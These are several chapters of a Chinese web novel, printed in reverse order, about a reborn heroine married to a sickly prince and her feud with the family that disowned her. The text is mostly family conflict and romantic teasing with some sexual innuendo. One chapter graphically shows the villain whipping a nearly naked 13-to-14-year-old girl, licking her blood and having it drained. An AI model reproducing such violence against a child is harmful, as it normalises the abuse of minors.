“你都不把亲生女儿当女儿疼爱,我疯了把一个野种当亲生外孙女来疼爱?”胡氏冷着脸下逐客令,“你们今天若只是来我面前给那苏清欢鸣不平的,那就赶紧滚,看到你们我就觉得糟心!”
吕氏脸色微红,她抿了抿嘴,最终还是拉下脸道:“承儿过些日子就要拜上官先生为师了,我记得爹爹有一方上好的砚台,据说那砚台还是先帝...”
“滚!你给老娘滚!”胡氏站起来拿着拐杖就去赶人,“整日就惦记着我们伯府那点东西,当初是你自己要嫁苏建明的,现在就连给儿子拜师,都想从伯府拿东西去做人情了?能耐到你了!”
母子三人被胡氏拿着拐杖一路往外赶,瞧着好不狼狈,苏承印是有骨气的,面对这样的驱赶,他气急败坏的吼了一声,“够了!我们会自己走!外祖母不必如此!”
胡氏由身边的嬷嬷扶着顺气,她杵着拐杖站在院中看着对自己满是埋怨的母子三人。
苏承印目光冰冷的看着胡氏,冷声道:“外祖母这么做是想要和我们苏家撇清关系吗?”
胡氏听着苏承印这话,再迎上苏承印那看仇人一样冰冷的目光,她冷笑了一声,接着把拐杖使劲往地上一剁,冷声道:“怎么?不给你们好处就要和我们伯府断绝关系了?”
说完她目光落在吕氏脸上,冷笑道:“这就是你教出来的好儿子!”
“母亲,承儿他不是这个意思,承儿好不容易能因为清欢搭上上官先生,若是不能送给上官先生喜欢的礼物,怕是不能拜师,他快要秋闱了,来年还要春闱,为了承儿的前程,您就把父亲留下的那方砚台给承儿吧!我们苏家一定不会忘记您的大恩的!”吕氏晓之以情动之以理。
“这还没搭上呢,就来要你父亲的遗物了。”胡氏失望地摇了摇头,“若是搭上了,岂不是要我整个伯府了?”
“外祖母的意思是不愿意给了?”苏继业眉头紧紧地皱起来,语气不善,“你这样和我们苏家闹僵,舅父他知道吗?”
“吕月琴!你教的好儿子!”胡氏不在和他们废话,拿起拐杖就赶人,“滚!从今以后你们别踏进我吕家半步,我们吕家不欢迎你们!”
母子三人不想在伯府门外闹得人尽皆知,被胡氏赶出伯府之后就快速离开了,马车上,苏承印眉头微蹙,“父亲为何非要让我们找外祖母要外祖父那方砚台?”
说着又忍不住抱怨,“外祖母也是,姜黎婳和清欢出嫁的时候,她给了姜黎婳不少好东西,却一分都没有给清欢,现在我们不过是要一个砚台,她还把我们给打出来了!真是偏心!”
苏继业冷哼了一声,“外祖母是不知道姐姐的好,心中只有那点血缘关系,那姜黎婳有什么好的,商贾养出来的,一身铜臭味的俗人罢了!她还拿着当个宝!”
吕氏想到自己没为姜黎婳准备什么嫁妆,她出嫁的嫁妆多数都是自己母亲准备的,就觉得一阵心虚。
苏继业还在旁边和苏承印说着永宁伯府的坏话,还说老夫人胡氏一介妇人眼光短浅,若是永宁伯在京城,绝对不会这样把他们赶出门的,话语中又是对老夫人好大一阵埋怨。
“你们兄弟两人都少说两句。”吕氏头疼的揉了揉太阳穴,她也不懂,母亲为什么就是看不上苏建明,她和苏建明都成亲二十二载了,她为何还是不能把苏建明当一家人。
他们苏家好了,难道不就是对吕家也好吗?
第15章 收获不小,娘子可要观赏一番?
楚御礼还没有回答姜黎婳的话,耳根就忽然变得通红,若他把昨天自己脑海中那些画面告诉她的话,会吓到她的吧?
不行,她本就有些抗拒与他亲近,若知道他心头想的那些事情,岂不是会更把他当坏人来看了?
“昨夜吐了娘子一身血,心头内疚难安,所以无法入睡。”楚御礼偷偷摸摸牵住姜黎婳放在身侧的手,低声道:“还有娘子若想知道为夫具体的产业,那为夫可以让墨玄整理一下,然后告诉你,也可以让墨玄带你亲自去瞧瞧。”
他这些年是发展了一些产业还发展了一点自己的势力,而发展那些势力和产业的初衷不过是想自己若真的二十岁不到就死了的话,他的母后在他死后能有个保障。
墨玄?
这个名字倒是不陌生,是原书中皇后身边的一等暗卫,皇后在楚御礼死后还能稳坐皇后之位,除了镇国侯府之外,多半都是因为这个墨玄和他手中的产业。
书中,就是这个墨玄抓住了苏清欢偷人。
原来这墨玄是楚御礼的人啊。
“不用。”姜黎婳回握住楚御礼的手,微微翘了翘嘴角,“我刚刚说了,我并不在意殿下您的产业。”
“那是在意我?”楚御礼往姜黎婳身边靠了靠,一双丹凤眼闪闪发光,语气带了些蛊惑,“为夫昨夜睡不着运动了一整夜,今晨沐浴发现效果显著,娘子可要一观?”
说罢就要去解自己的腰带...
姜黎婳一把按住楚御礼的手,双颊绯红,语气都变得慌乱了起来,“这是在马车上!”
而且一挥就要和皇后她们汇合了,他们若衣衫不整的从马车上下去,别人看了会怎么想?
“不是马车上就可以?”楚御礼嘴角根本压不住,他靠近姜黎婳在她耳边低语,“那到行宫后给娘子看。”
姜黎婳几乎是下意识的想拒绝,但是想到新婚夜看到的那身材,又舍不得拒绝,她干脆不说话,不答应也不回答。
见她不说话,楚御礼只当她默认了,他得逞的眨了眨眼睛,心头一阵炽热。
看来昨夜没睡觉也不是一点好处没有,娘子虽然抗拒那件事情,但好像并不抗拒欣赏他的身材...
先让娘子喜欢看他的身子,再让娘子喜欢摸,最后再让娘子喜欢上...
咳咳咳...
楚御礼把自己想得满脸通红,甚至都不敢去看姜黎婳,他松开姜黎婳的手,把自己出汗的手心擦了擦...
两人坐在一起时间过得特别快,楚御礼觉得才出发没一会儿就到了朱雀大街,他们到的时候皇后等人已经在马车中等着了,楚御礼带着姜黎婳过去给皇后见礼。
见两人过来,皇后身边的嬷嬷佩蓉掀开凤辇的帘子,皇后坐在凤辇上朝姜黎婳招手,“快上马车来,与母后同乘一辆马车。”
姜黎婳是真的有点招架不住楚御礼的热情,此时听皇后邀请自己同乘,立刻就同意了,“那就叨扰母后了。”
上了马车,看着车中的几人,姜黎婳:“.......”
她也就怔愣了片刻,立刻对着另外两人福身行礼,“见过淑妃娘娘、贤妃娘娘。”
“大皇子妃别这么客气,快,咱们正好三缺一。”淑妃笑呵呵的拉姜黎婳坐下。
贤妃给还没缓过神的姜黎婳解释道:“从这儿去行宫需要好几个时辰,咱们觉得无聊,便都来皇后娘娘这里打马吊。”
皇后笑看着姜黎婳问,“会玩吗?”
“她不会,母后你们可别欺负她。”车帘此时被人掀开,楚御礼英俊的脸庞出现在众人面前,他朝姜黎婳伸手,“娘子,母后这边已经有淑妃娘娘和贤妃娘娘陪着了,你还是回咱们马车上陪为夫吧。”
皇后先前就看到楚御礼的脸色似乎比前两日又好些了,这时候心情正好,这时候见楚御礼夫妇感情这么好,当即喜笑颜开,“你这臭小子,这才几个时辰都舍不得分开?”
“的确不舍。”楚御礼很认真的颔首。
姜黎婳耳根一红,连忙告罪,接着楚御礼的力气下了凤辇,生怕楚御礼再说出令人面红的话,她对皇后道:“母后既然有淑妃娘娘和贤妃娘娘相陪,那儿臣就回去陪殿下了。”
“去吧去吧,知道你们小两口新婚,正是浓情蜜意的时候。”皇后抬手眼唇轻笑,“路途遥遥,你们夫妇二人也在马车中找些事情做,不必顾忌我们。”
姜黎婳震惊瞪大眼睛,慌乱地朝皇后福了福身子,拉着楚御礼转身就往自己的马车那边走去。
皇后刚刚那话,她听着怎么感觉那么不对劲啊?
什么叫让他们夫妇在马车中找点事情做,还不用顾忌她们啊?
车队很长,除了前天和太后出发的公主和皇子们,好些品阶不低的妃嫔都是等着今日和皇后一同出发的。
皇后的凤辇中。
淑妃面上的笑意一直没收,她摸了一张牌然后从手中拿出一张牌打出去,“大皇子的脸色瞧着好了许多,真是要恭喜皇后姐姐了,这喜啊,真是冲对了。”
皇后闻言脸上的笑意更深了,她连连点头,“是啊,这喜是真冲对了,以后本宫啊,得对婳儿那丫头更好一些才是。”
贤妃也跟着点头,“大皇子妃一看就是有福气的,大皇子也是福泽连绵,他们夫妇二人定能相辅相成。”
皇后摸了一张牌,接着把牌一推,笑着道:“胡了。”
淑妃嗔了一句,把牌一推,“还没出门就输了,不玩了不玩了,臣妾昨夜没睡好,得回去自己的轿辇补觉了。”
“你这人就是小气,才输了一把,就不玩了,以前你赢本宫的时候,本宫说什么了?”皇后递了淑妃一眼,“继续。”
淑妃不情不愿的又开始码牌,一边码一边抱怨,“您就是想把臣妾身上这点傍身的银钱都赢了去。”
“刚刚不是你非要玩的?”贤妃笑着看了淑妃一眼,“这才刚才是,谁输谁赢还不一定呢。”
“是啊,谁输谁赢还不一定呢。”淑妃嘴角一勾,眼中闪过一丝亮光,“皇后姐姐一会儿若是输了,可不能怪妹妹我哦。”
“那要看谁技高一筹了。”皇后拿起牌打了一张。
另一件姜黎婳刚坐上马车,楚御礼就凑了上来,眼中全是促狭,“刚刚那么急地上母后的马车,是想躲为夫?”
被看穿的姜黎婳:“......没有啊,我只是想陪母后。”
“那为何又要陪为夫回来?”楚御礼又牵着姜黎婳的手轻轻把玩。
姜黎婳发现,他真的是一有机会就要和她肢体接触,一丝机会都不放过,但她好像并不抗拒他的接触...
由着他把玩着自己的手指,姜黎婳低声道,“淑妃娘娘身上的香味太浓了,我觉得刺鼻。”
第14章 增强体魄的大皇子
回到书房的楚御礼直接冲进盥洗室,就着浴桶里的冷水洗了个冷水澡。
跳进浴桶那一瞬间,他浑身冷的一激灵,但是一想到姜黎婳脱衣沐浴的模样,他身上又像是冒火了一样,把冰冷的水都给热烫了...
他垂眸看着自己的骄傲,忽然觉得挺碍眼的!
原来它这么随心所欲啊!
坏东西!
害得他差点在她面前出丑!
楚御礼一把抓住它...
半晌之后楚御礼从浴桶里出来,声音沙哑地喊昭临进来,让他去喊人把盥洗室打扫干净。
昭临不明所以地去盥洗室看了一眼,然后匆匆走出来,急声道:“殿下,您身子不好,怎么能洗冷水澡呢!染了风寒可如何是好!”
楚御礼凉凉的睨了昭临一眼,半点不见在姜黎婳面前的温柔模样。
昭临只能认命的去叫来仆从把盥洗室给打扫干净,等他们都退下后,昭临语重心长的说了句,“殿下,如今您是有娘子的人了,要爱惜自己的身体啊,您若垮了,大皇子妃可怎么办啊?”
楚御礼深深地看了昭临一眼,冷笑着问,“你觉得孤这身子,即便爱惜了,又能多活多久?”
昭临听到楚御礼这话,鼻子一酸,他垂下眉头,低声道:“只要殿下您想活下去,属下就是拼了这条命,也要找到治好您的办法!”
听昭临这么说,楚御礼的神色缓和了不少,“你放心好了,有你们的皇子妃给孤冲喜,孤如今的身子好了许多了,去看看谢管家那里有什么需要帮忙的,明日一早要出发去城郊行宫,谢管家一个人忙不过来。”
“唉,属下这就去帮谢管家。”昭临转身离开。
其实这些事情可以交给其他的仆从婢女去做的,但关于楚御礼的大小事,这谢管家都不放心交给别人,凡事都要亲力亲为,除非是楚御礼身边贴身的侍卫来帮忙,他才会松口,否则都是他自己一人包办。
从楚御礼三岁起,镇国侯府就把他送到宫中亲自照顾楚御礼,楚御礼这些年一直把他当亲人一样对待,说是下人,但也算是这皇子府半个主人了。
翌日。
一夜好眠的姜黎婳洗漱完就见楚御礼穿着一身月牙白的竹叶印花长衫从院外走来,姜黎婳这些日子过来发现,楚御礼不偏爱某一种颜色,深色浅色他都穿,而每种不同颜色的衣裳,他可以穿出不一样的风格和气质。
穿深色衣裳的时候,他显得很沉稳锐气,气势也很强,但是穿浅色衣裳的时候,更显得明朗阳光。
注意到姜黎婳在看自己,楚御礼放缓了脚步,挺直了腰背...
她眼睛一眨不眨的盯着他由远至近,见他眼瞎青黑,她眉头微蹙,“殿下熬夜了?”
姜黎婳有些疑惑,究竟是什么事情要他通宵达旦啊?
他一个病弱皇子,还日理万机了?
其实没啥事儿却要装作日理万机的某皇子有些心塞,他原本害怕自己躺在她身边狼性大发,所以找个借口去书房睡,谁知道昨夜听到她洗澡的声音后,回书房反而睡不着了!
一闭眼就是那日她当着他的面脱掉外衫的模样,接着就是自己把她拽入水中的画面...
他也不知道脑袋是怎么了,反正就把是她的那些画面,全都拼凑在了一起,搅得他脑子乱乱的,根本睡不着...
后来。
他干脆运动了一整夜来分散自己的注意力...
“事情有点多...”
昨夜在书房外看着自家主子运动了一整夜,今早又陪着自家主子过来找皇子妃的昭临:“......”
可不是事情多嘛!
先是两百个伏地挺身,又挂在房梁上做了两百个引力向上,紧接着又是两百个抱胸坐躺,还打桩...整整折腾了自己一整夜!
他到现在都没想通,主子好好地为什么不睡觉,非要运动...
难道是成亲那两日在皇子妃那里没有表现好,所以在加强自己的体力?
想到这里,昭临忽然觉得自己真相了!
他伸手捂着嘴,悄悄咪咪的打量着自家主子的身材,嗯,和他们比起,的确差了点意思,难怪被皇子妃嫌弃呢。
看来改天自己得帮主子好好地锻炼一下体力,让主子在皇子妃那里找回男人的面子了!
根本不知道昭临在想什么的两人很和谐的用了早膳,准备出门。
见姜黎婳只带知夏出门,楚御礼出声提醒,“把佩玉嬷嬷和铃铛都带上吧,行宫人多,伺候的人却不如宫中,带自己的人,方便些。”
既然楚御礼这样说了,姜黎婳自然不在推辞,把三个人一同带上。
众人出门,谢管家已经在马车前面等着他们了,见楚御礼和姜黎婳府中出来,他上前要亲自扶楚御礼上车,“殿下惯用的东西老奴都带上了。”
“那就去朱雀大街与母后他们汇合吧。”楚御礼说完绕开谢管家的手,“管家不必什么事情都亲力亲为,你也先上马车吧。”
谢管家的动作只停顿了片刻,便收回手,笑着道:“殿下是嫌弃老奴老了?”
楚御礼没有回话,牵着姜黎婳直接上了宽大的马车。
瞧着楚御礼牵着姜黎婳上了马车,他笑了笑,低声道:“娶了媳妇果然不一样了,咱们大皇子长大了。”
昭临闻言暗自点头,可不是嘛!
以前殿下锻炼只是单纯的增强体魄,如今没日没夜的锻炼,就是为了满足大皇子妃!
目的都不单纯了!
谢管家看了一眼不断点头的昭临,抬步往前面的马车走去。
车上,姜黎婳瞧着眼下青黑的楚御礼,秀眉微微皱起,“殿下处理的事务很难吗?”
姜黎婳前世爱看小说,小说里面大多皇子都有自己的私产,亦或者有自己的暗卫组织之类的,所以她认为楚御礼虽然是一个早逝的皇子,但毕竟是嫡出皇子,有点私产应该也正常。
但是身体不好,还要管那么多产业,应该很累吧?
单纯为昨夜熬夜找了借口的楚御礼:“......”
他抬眸看向姜黎婳,低声道:“其实我昨夜就是睡不着而已。”
“嗯?”姜黎婳一怔,接着笑了,“我知道了,殿下不方便说的话,可以不说,妾身并不是在打听殿下您的产业。”
知道姜黎婳误会了,楚御礼赶紧道:“真的没有不方便,我昨夜只是单纯睡不着。”
姜黎婳更疑惑了,“为何?”
正常情况,他身体不好,应该更嗜睡才是。
“想你。”楚御礼低声道。
“什么?”姜黎婳觉得自己肯定幻听了,否则她怎么会听到每天都和她在一起的大皇子说想她呢?
这么粘人的大皇子,真的是那个让苏清欢守寡了一年的大皇子吗?
第13章 为夫生病了,姜黎婳:相思病?
苏清欢在吕氏手中薅了一枝上好的蝴蝶金钗,又在苏承印那里得到了不少好处,还从向来一毛不拔的苏建明手里拿到一幅好画,今天那因为被掌掴之后的坏心情都烟消云散了。
看吧,换亲之后,一切都变了。
上一世她一个人回门,家里面的人只知道安慰,却根本没有拿出一点实质的东西,这次,她没主动开口,他们就把好东西都送到了她的手上!
而姜黎婳,嫁给了那短命大皇子又如何?还不是照样不受吕氏和那两兄弟的待见。
回到定国公府,苏清欢让婢女把自己带回来的东西都拿回院子,她自己则带着从苏建明那里拿回来的画,直接去了萧景宴的书房。
萧景宴此时并不在书房,而是在国公府后院的一处偏远院落中的屋子中。
院落的院墙修建得很高,院子里面种满了花草,站在院外可以闻到浓浓的花香味。
屋中。
赤着上身的萧景宴手中握着竹子编制的藤条,藤条上已经沾满了鲜血,而此时一个十三四岁的少女只穿着一件肚兜,浑身是血奄奄一息的躺在地上。
萧景宴双目通红的踢了一脚躺在地上的少女,骂道:“没用的东西!”
他无趣的丢开藤条,接着蹲下身子,嗜血的提起少女伸着舌头在她背上的伤口上舔了一口血,少女被他的动作吓得尖叫出声,他一把掐住对方的脖子,厉声对着站在外面的侍卫道:“把血放了,送出去。”
木着脸站在外面的侍卫推门进来面无表情的拿出一块布塞进少女的嘴里,然后拖着少女的手就往外走,直接进了隔壁的房间,很快他端着一个黑色盒子走了出来,盒子中应该放了冰,有水滴一滴一滴的从盒子的边角滴落。
苏清欢去萧景宴的书房没有找到萧景宴,正打算去后院看看,就被随从拦住了去路,随从笑眯眯的对着苏清欢道:“夫人找世子吗?世子外出还未回来,夫人不如先回院子去,世子回来,奴才定然第一个通知世子,让世子去找夫人。”
苏清欢有些不悦的看着拦了自己去路的随从,沉声道:“你敢拦本夫人的去路?”
“奴才这也是为夫人好啊。”随从笑意不达眼底,“世子喜欢白皙的美人儿,这日头毒辣,夫人若是闲逛晒黑了,惹了世子不喜,夫人岂不是得不偿失。”
“你在教本夫人做事?”苏清欢面色一冷,“本夫人是世子的夫人,难道还要学外面的狐狸精一样勾引世子?”
“奴才没有这么说。”随从随即让开路,“夫人请自便。”
反正若是撞破了世子的好事,死的人又不是他。
苏清欢原本想抬步去自己从未去过的那一边后院,但是想到上一世姜黎婳的容貌,她忍了下来。
世子本就纨绔,在京城更是出了名的爱美人,若自己真的晒黑了,怕是得不到世子的独爱...
她转身朝自己的院子走去。
仆从看着苏清欢离开的背影,朝着她离开的方向涂了一口唾沫,“怂货。”
是夜。
佩玉听说姜黎婳明日要和大皇子与皇后等人去行宫避暑,连忙帮苏清欢收拾了行礼,一边收拾一边和姜黎婳聊天,“听说这次去行宫是两个月,两个月后老爷和公子应该也要到京城了。”
楚御礼不在的时候,佩玉等人和姜黎婳说话都要随意一些。
姜黎婳闻言眼睛一亮,“爹爹和哥哥要到京城来了?”
十多年的相处,她其实早已经把那些关爱自己的人,当成了自己真正的亲人。
“是啊,公子进京参加年后的会试。”佩玉笑着说,“这也是拖了小姐你的福,若不是您来了京城啊,公子这辈子怕是都不愿意参加这会试的。”
“哥哥可是江南三年前的解元,若不来参加一次会试,真的太可惜了。”姜黎婳嘴上说着,心头已经开始琢磨着要不要带哥哥去拜见一下她师父了。
毕竟她的师父,除了医术厉害之外,她还知道他另一个身份。
有了师父的教导,即便只是短短几个月,哥哥也定能拿下状元头衔的。
“什么可惜?”已经在书房洗漱完的楚御礼穿着一身淡青色的束腰长衫从外面走了进来。
姜黎婳看过去,瞧着他这一身浅色的装扮,眼睛一亮,“殿下不是说有事要处理?”
下午给他施针后,他说有事要处理,今夜宿在书房。
“是有事,但为夫生病了。”楚御礼叹了口气,走过去在姜黎婳面前坐下。
姜黎婳当即把自家哥哥的事情丢到一边,担忧的要去给楚御礼诊脉,“殿下哪儿不舒服?”
楚御礼抬手指着胸口,“这儿。”
“气短?”姜黎婳白皙的手指覆上楚御礼的脉搏。
佩玉不再逗留,转身离开了屋子,还顺带关上了屋门。
楚御礼瞧着姜黎婳认真的模样,没有回答,反而问,“刚刚娘子在和佩玉嬷嬷说什么?”
“那个一会儿再和殿下说。”姜黎婳认真给楚御礼诊脉,半晌后,她道:“殿下先告诉我,除了气短,可还有其他不舒服的?”
“有,先前为夫呼吸不畅,还有心跳加速,茶饭不思,没有精神....”楚御礼认真地看着姜黎婳,“但,这些在刚刚见到娘子之后,好像都好了。”
姜黎婳:“......”
她收回手,略微有些无语的看着楚御礼,“相思病?”
楚御礼见姜黎婳不但不生气,反而一下子说出自己的病症,当即点头应道,“对,就是相思病,为夫现在一会儿见不到娘子就觉得...”
“殿下还能开玩笑,看来病得不算严重。”姜黎婳说完收回手,不再给楚御礼诊脉。
“生气了?”楚御礼笑着抓住姜黎婳的手,“我错了,不该逗...”
噗...
楚御礼一口鲜血忽然喷了出来,喷了姜黎婳一身,姜黎婳根本来不及思考,反手握住楚御礼的手腕,认真把脉,发觉脉搏并无异常,她眼中露出担忧,“怎么会忽然吐血?”
楚御礼的眉头也微微皱了起来,“又有人给我下毒了?”
“没有。”姜黎婳伸手扶着楚御礼,“先去床上躺着,我仔细给你检查一下。”
半晌后,姜黎婳吐出一口浊气,“看来是下午我给你施针起了效果,刚刚吐出来的血,应该是累积脏腑的一些毒血。”
“难怪我现在觉得呼吸都顺畅了许多。”楚御礼歉意的看着姜黎婳身上的血迹,“抱歉,弄脏娘子的衣服了。”
“弄脏了洗洗就是。”姜黎婳面上露出笑意,“殿下先躺着,我去洗漱。”
看着姜黎婳离去的背影,楚御礼缓缓坐了起来,听到隔壁传来的水声,他吞了吞口水,忽然觉得浑身一热,他低头看了一眼,猛地站起来,对姜黎婳说了声,“为夫还有要事处理,娘子一会儿早些休息。”
说完几乎是落荒而逃。
第12章 为夫长得好看?娘子多看看
从苏府回大皇子府的路上,姜黎婳时不时的抬眸看楚御礼一眼,一开始镇定自若的楚御礼看得都有些如坐针毡了。
他抬手摸了摸自己稍微有些苍白的脸颊,低声问,“为夫脸上有脏东西?”不等姜黎婳回答,脸已经凑到了姜黎婳面前,“娘子帮为夫擦擦。”
姜黎婳瞪大眼睛看着忽然在自己面前放大的脸,接着红着脸推开那张清隽无双的脸,低声道,“殿下的脸很干净,不用擦的。”
“那娘子为何一直盯着为夫的脸看?”楚御礼嘴角微微一勾,深邃好看的丹凤眼中闪着亮光,“因为为夫长得好看?”
姜黎婳是真没想到他竟然又开屏了,但是想到今日他为自己做的那些事,便顺着他的心思点头,“好看。”
“那娘子多看看。”楚御礼干脆的歪着头,轻笑着和姜黎婳对视。
若不是看到他耳根红了,姜黎婳都要以为这人肯定是调戏小女娘的高手了。
坐在靠着马车门边上的铃铛瞧着大皇子和自家小姐的互动,红着脸捂上了眼睛,原来大皇子在自家小姐面前,这般没有架子的呀。
见姜黎婳被自己这么一打岔,好像情绪恢复了许多,楚御礼的眼神也柔和了许多。
姜黎婳鬼使神差的抬手在楚御礼高挺的鼻梁上摸了一下,轻声问,“殿下,刚刚为什么要那样说?”
被姜黎婳忽来的触碰弄得浑身麻怔的楚御礼完全没把她的问题听进去,喉咙更是下意识的发出疑问,“嗯?”
姜黎婳收回手,认真的看着楚御礼,“你为什么要那样说自己?你不是短命鬼,而且,也并不是可以被人瞧不起的存在!”
“但如今在外人眼中,为夫的确就是那种让人瞧不起的存在啊。”楚御礼发现自己很喜欢姜黎婳的触碰,见姜黎婳收回手,他不满足的拉着她的手放在自己脸上,自己的手则覆盖在她的手背上,“如今在所有人眼中,我都是一个活不过二十岁,没有前途的大皇子。”
“我...”
姜黎婳话还没有说出来,楚御礼另一只手的食指就已经覆上她的红唇,姜黎婳不解的看向他,他朝姜黎婳轻轻摇了摇头,接着拉着姜黎婳的手放在自己的膝盖上,自己俯身在姜黎婳耳边低语,“那是我们两人的秘密,如今为夫唯一能信任的人,只有娘子你。”
不知是不是姿势太过亲近,姜黎婳忽然觉得浑身燥热,她吞了吞口水,抬头低声问,“殿下,你不热吗?”
姜黎婳忽然抬头,鼻尖正好和楚御礼的鼻尖相抵,她说话间,呼吸打在楚御礼的嘴唇上,他呼吸一紧,人猛地往后退了一步,“热,所以咱们明日去行宫避暑吧!”
说完整个人往旁边移动了一点,生怕自己在靠近姜黎婳,闻到她身上的味道,会控制不住自己的狼性。
原本只是想开解她的情绪,没想到最后竟然把自己弄得有些狼狈了...
姜黎婳在楚御礼退开之后,那股围绕在身上的热意也逐渐消散了,她微微呼出两口气,才道:“我们自己去吗?”
“前些日子太后已经带着几个公主和皇子去了行宫,咱们明日过去正合适。”楚御礼忍不住伸手去拉姜黎婳放在身侧的手,“母后她们也是明日出发,我们与他们同去。”
姜黎婳原本想拒绝,但想到书中楚御礼婚后身子一直不好,根本没有出过门,她就有些不忍心拒绝,于是点头应了下来。
苏府。
苏建明堵着一口气回到吕氏的院子就把吕氏等人给训斥了一顿,苏承印被向来器重自己的父亲训斥,心头不但没有检讨自己,反而更怨恨姜黎婳了,他怒气冲冲的握着拳头,厉声道:“我就知道那个小心眼的贱婢又告状了!”
“承儿!她毕竟是你妹妹!”吕氏拉了苏承印一下。
即便自己再不待见姜黎婳,都是自己身上掉下来的肉,听到儿子称她为贱婢,吕氏心头还是有些不舒服。
苏承印抿了抿嘴,没在说话。
苏建明却剜了苏承印一眼,厉声道:“无论如何她都是大皇子妃了!大皇子死之前,都会护着她!你们不可对她不敬!”
苏继业听到这里,眼睛转了转,心头下意识的想,‘难道大皇子死了,他们就可以对那个女人不敬了?’
也是,大皇子死了,她就什么都不是了,到时候她还要靠着他们苏家!
哼,如今她敢这样对他们,等以后大皇子死了,他定要她好看!
吕氏听到苏建明这话,眉头微微皱了皱,她问,“大皇子的身体好不了?”
苏清欢撇嘴,心想何止好不了,再过不了一年,就要驾鹤西去了。
到时候她看姜黎婳还神气得起来吗?
“妹妹是嫁过去冲喜的,毕竟她的生辰八字和大皇子的八字互相契合,想来妹妹嫁过去定然能改变大皇子早死的命运的。”苏清欢善解人意的说道。
吕氏听她这样说,心头那股奇怪的感觉一下子就消失了,她笑着拍了拍苏清欢的手,“还是我的欢儿善良,她那样对你,你还是盼着她好的。”
苏继业撇嘴,“要是那个女人有姐姐一般的善良,我也不至于瞧不上她!一个乡下来的商户女,总是满腹算计!”
“够了!”苏建明呵斥了一声,“既然大皇子命不久矣,这些日子你们就少给我招惹她,与大皇子府保持距离。”
说完温柔的看了苏清欢一眼,“一会儿你去父亲房中拿一幅好画回去送给贤婿,就当今日他在门外受了委屈的补偿了。”
苏清欢眼睛亮亮的看向吕氏,吕氏笑着摸了摸苏清欢的脸,接着从自己头上取下一只蝴蝶样式的金钗插在苏清欢的发髻上,“下次有时间的话,娘再陪你去珍宝阁挑些你喜欢的头面。”
吕氏是永宁伯的嫡次女,当年与母亲出行惊马,人差点摔下悬崖,当时手无缚鸡之力的穷苦书生苏建明舍命相救才把她从死亡的边缘给拉了回来,自此就对模样好看的书生一见钟情,后来更是带着丰厚的嫁妆直接嫁给了刚中进士的苏建明。
苏建明草根出生,能短短二十年走到今天这个位置上,一大半还是靠永宁伯府。
而苏家能这么财大气粗的,也只有吕氏了。
苏清欢听吕氏要带自己去珍宝阁买头面,脸上的笑意更浓了,当即抱着吕氏的手一个劲儿的说,“还是娘亲对清欢最好了。”
“你是娘的女儿,是我们的妹妹,我们不对你好,对谁好?”苏承印又想起了苏清欢说要给自己打听上官清泉喜好,当即对着苏建明道,“父亲,世子家中与上官先生好像有些渊源,妹妹答应帮我打听一下上官先生的喜好。”
苏建明眼神微动,看向苏清欢,“真的?”
苏清欢笑着颔首,“女儿听世子提起过。”
“那就劳烦妹妹帮我打听一下上官先生的喜好了。”
第11章 以后少来往
见姜黎婳不说话了,吕氏以为她是心虚了,当即抬手指着姜黎婳,斥责道,“你说话啊?不敢说了?若早知道你是这副德行,当初说什么我们都不会去江南把你找回来的!”
“我求你们去找了吗?”姜黎婳捏着拳头,心头那股一直被她压制着替原主不值的怒气一下子就上来了,“你们若不想认我这个女儿,大可以对外宣告与我断绝关系,从此以后,我们再无往来。”
“你想得美!”跟着苏承印进了院子后就一直跟在吕氏他们身后没有说话的苏继业忽然从后面走了出来,他满眼算计的盯着姜黎婳,“你如今如愿嫁给大皇子了就想和我们苏家撇清关系?做梦吧!”
“继业说得不错,你享受了我们苏家带来的荣华,那你就应该给我们苏家创造价值!”苏承印眯着眼睛,眼中闪过一丝光芒,“如今你嫁给了大皇子,理应帮扶家中。”
苏清欢见先前还在讨伐姜黎婳的苏承印一下子改了口风,眉头微不可查地皱了起来,姜黎婳能给苏府带来什么价值?那个短命鬼要不了多久就会死了!
楚御礼死后要不了多久,姜黎婳就会被丢到皇陵去守灵,和她上一世一样,落得一个当寡妇的命运!
而且若因为姜黎婳帮扶苏家和他们兄弟两人,他们之间的关系好起来了,对她来说岂不是一大威胁?
不行,她绝对不会让这种事情发生的!
“大哥,我听说你近来想拜上官先生为师?”苏清欢从吕氏的怀中脱离出来,抬眸去看苏承印,“我可以让世子去打听一下上官先生的喜好,大哥也好投其所好,让上官先生对大哥刮目相待。”
姜黎婳听到苏清欢这话,眉头微微一挑,眼里闪过一丝不明所以的情绪。
苏承印打算秋天参加乡试,过了乡试就参加会试,不过他对自己的文学没有太大的信心,所以一直都想拜文学大儒上官清泉为师,只是这些年上官清泉隐居山林,深入浅出,很难有人能见到他一面,打听到他的喜好更是难上加难。
此时听到苏清欢这么说,他当即眼睛一亮,甚至把找姜黎婳的麻烦都给忘了,他激动的看向苏清欢,“妹夫认识上官先生?”
苏清欢扯了扯嘴角,她只是上一世听说过上官先生好像去过一次国公府,想来国公府与上官先生有点交情的。
她轻轻点头,“听世子提起过。”
“太好了,那就请妹妹替哥哥打听打听上官先生的喜好,若哥哥能拜上官先生为师的话,定然好生答谢你。”他说完睨了一眼对他们的对话无动于衷的姜黎婳,意有所指的说道,“在身边长大的妹妹就是不一样,即便没有血缘关系也依旧什么事情都想着哥哥,不像有的人,只会给我们添堵!”
苏清欢羞涩的笑了笑,“哥哥,你就是清欢的亲哥哥,你从小对清欢这么好,清欢为你做这点小事是应该的。”
吕氏瞧着相亲相爱的兄妹心头很是欣慰,转而看到坐在红木椅上似笑非笑的姜黎婳,她面上刚升起的笑容一下子就沉了下去,冷冷的对姜黎婳道,“你不想和苏家有过多牵扯,我也不勉强你,但是你若敢再给清欢难堪,你别怪我不顾血缘亲情!”
“我告诉你,我的姐姐只有一个,那就是苏清欢,你别妄想我把你当亲姐姐,你就是当了皇子妃那又怎样?”苏继业满脸不屑的哼了一声,“我照样看不起你!”
吕氏听到小儿子这么说,眉头微微皱起,但是却没有说话。
姜黎婳没什么反应,她耸了耸肩,“哦,我知道了。”她看了一眼志在必得的几人,“那祝你们成功,也希望你们一家人继续这么相亲相爱下去。”
站在姜黎婳身后的铃铛被气得不轻,眼泪都被气出来了,她恶狠狠的瞪了吕氏他们一眼,骂道:“有你们这么当亲人的吗?既然你们没想要大皇子妃这个女儿,当初为什么要认回来?”
“一个下贱的婢女也敢非议我们家的事情?”苏承印脸色一冷,抬手就要打人。
姜黎婳站起来,直接挡在铃铛前面,她冷冷的扫了苏承印一眼,“既然苏家这么不欢迎我,那以后还是少来往得好。”
她说完直接拉着铃铛大步离开了吕氏的院子。
